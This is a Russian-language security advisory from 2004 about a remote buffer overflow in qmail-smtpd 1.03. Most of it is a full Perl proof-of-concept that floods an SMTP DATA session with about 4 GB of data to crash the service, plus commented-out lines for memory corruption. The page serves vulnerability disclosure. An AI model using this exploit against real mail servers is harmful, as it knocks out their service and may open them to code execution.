Security Lab

Удаленное переполнение буфера в qmail-smtpd

Дата публикации:18.01.2004
Всего просмотров:1465
Опасность:
Средняя
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: qmail 1.03

Описание: Две уязвимости обнаружены в qmail-smtpd. Удаленный пользователь может вызвать переполнение буфера и перезаписать память на целевой системе.

Georgi Guninski сообщил, что удаленный пользователь может подключится к системе с чрезмерно длинной SMTP сессией, чтобы аварийно завершить работу qmail-smtpd сессии. Также удаленный атакующий может вызвать переполнение буфера и выполнить произвольный код на уязвимой системе.

Пример/Эксплоит:

#!/usr/bin/perl -w

#Copyright Georgi Guninski\nCannot be used in vulnerability databases and 
#similar stuff
use IO::Socket;

my $port = $ARGV[1];
my $host = $ARGV[0];
my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || die "socket";

my $req  = "HELO a\r\n";
my $fromaddr="they\@sux.org";
my $touser="postmaster";

print "qmail-smtpd SEGV. Copyright Georgi Guninski\nCannot be used in 
vulnerability databases and similar stuff\nWill connect to ${host}:${port} 
fromaddr=${fromaddr} touser=${touser}\n";

$req .= "MAIL FROM: ${fromaddr}\r\n";
$req .= "RCPT TO: ${touser}\r\n";

$req .= "DATA\r\n";


$req .= "1234567890";

#my $x = "\ng" x 100;
#print $x;

syswrite($socket,$req,length($req));

my $l1= 1024*1024;
my $p1 = "gg" x $l1;
my $pl = 2*$l1;
print "length=${pl}\n";
my $towrite = $l1*2050;
my $wri = 0;
$req = $p1;
while ($wri < $towrite)
{
syswrite($socket,$req,$pl);
if ( ($wri % $l1) == 0) {print "written=" . $wri/$l1 . "\n";}
# !!! uncomment the following lines to get qmail memory screw on 
linux according to gdb
#if ($wri/$l1 == 2044) 
#{
#syswrite($socket,"g\r\n",3);print "injected\n";
#};
$wri += $pl;
}

$req = "test\r\n";
$req .= ".\r\n";


syswrite($socket,$req,length($req));


while(<$socket>)
{
print $_;
}


close $socket;

URL производителя: http://www.qmail.org

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: crash in qmail-smtpd and memory overwrite according to gdb, yet still qmail much better than windows